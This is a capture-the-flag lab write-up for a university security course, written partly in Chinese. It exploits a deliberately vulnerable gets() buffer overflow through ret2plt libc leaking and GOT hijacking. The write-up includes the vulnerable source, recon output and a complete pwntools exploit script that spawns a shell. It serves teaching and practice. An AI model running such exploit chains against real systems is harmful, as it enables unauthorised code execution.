# Simple PWN 0x34 (2023 Lab - ret2plt) ## Background Got Hijack / BoF ## Source code ```cpp //gcc -no-pie -fno-stack-protector -z norelro ret2plt.c -o ret2plt #include <stdio.h> #include <stdlib.h> int main(){ char buf[20]; setvbuf(stdout,0,2,0); printf("Try your best :"); gets(buf); puts("boom !"); } ``` ## Recon 1. checksec + file ```bash $ checksec chal [*] '/mnt/d/NTU/Second Year/Computer Security/PWN/Lab2/lab_ret2plt/share/chal' Arch: amd64-64-little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) $ file chal chal: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=f7ed984819a3908eff455bfcf87716d0fb298fac, for GNU/Linux 3.2.0, not stripped ``` 首先知道這隻binary是動態link library,所以可想而知,rop gadget一定少的可憐,所以我們不太能夠直接像上一題一樣暴力開一個shell出來,程式也沒有幫我們開,讓我們可以直接跳過去 2. 還是有很明顯的BOF的漏洞,此時就可以嘗試類似got hijack的方式打看看 流程: 1. 首先我們要知道libc base address才能夠利用扣掉offset的方式跳到system的地方,但是程式中並沒有能夠直接leak base address給我們的東西,因此我們可以自己想辦法leak: ==ret2plt== ``` pop rdi ret puts got address puts plt ``` 這三行的意思是把puts的got address,透過puts印出來給我們 -> puts(put自己的got address) 2. 有了puts的got address之後,就可以扣掉puts在libc的offset,就可以知道base address,然後我們可以知道system的確切address ```python # leak puts got address to calculate libc base address puts_addr = u64(r.recv(6).ljust(8, b'\x00')) libc_base = puts_addr - libc.symbols['puts'] libc.address = libc_base system_addr = libc.symbols['system'] ``` 3. 現在的問題有兩個,一個是我們要怎麼把==/bin/sh==送進去,因為如果直接看binary的gadget沒有`/bin/sh`或是`/sh`的string,不過我們可以直接用同樣的方法,把字串送進去 ```python # fetch user input -> /bin/sh\x00 pop_rdi_ret bss_addr gets_plt, ``` 此時他就會像使用者要輸入,並把我們的輸入丟到bss address 4. 另外一個問題就是我們要怎麼呼叫==system==,因為這個binary是動態的,代表一開始沒有link到system的話就不能直接呼叫,因此我們可以利用同樣的方法達到==got hijacking== ```python # fetch user input -> system address pop_rdi_ret puts_got gets_plt ``` 此時我們可以輸入system的address,經過這三行後我們就成功把puts got address換成system got address 5. 所有工具都準備好了,接下來只要呼叫puts就可以了,實際上就是呼叫system ```python # system('/bin/sh\x00') pop_rdi_ret bss_addr puts_plt ``` ## Exploit - Ret2Plt(leak base address) + Got Hijack(call system) ```python from pwn import * r = process('./chal') # r = remote('10.113.184.121', 10053) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') context.arch = 'amd64' pop_rdi_ret = 0x0000000000401263 puts_got = 0x403368 puts_plt = 0x401070 gets_got = 0x403378 gets_plt = 0x401090 bss_addr = 0x403f00 payload = flat( # leak puts got address to calculate libc base address pop_rdi_ret, puts_got, puts_plt, # fetch user input -> /bin/sh\x00 pop_rdi_ret, bss_addr, gets_plt, # fetch user input -> system address pop_rdi_ret, puts_got, gets_plt, # system('/bin/sh\x00') pop_rdi_ret, bss_addr, puts_plt ) raw_input() r.sendlineafter(b'Try your best :', b'a' * 0x28 + payload) print(r.recvline()) puts_addr = u64(r.recv(6).ljust(8, b'\x00')) log.info(f"puts address = {hex(puts_addr)}") libc_base = puts_addr - libc.symbols['puts'] libc.address = libc_base system_addr = libc.symbols['system'] log.info(f'system address = {hex(system_addr)}') r.sendline(b'/bin/sh\x00') raw_input() r.sendline(p64(libc.symbols['system'])) r.interactive() ```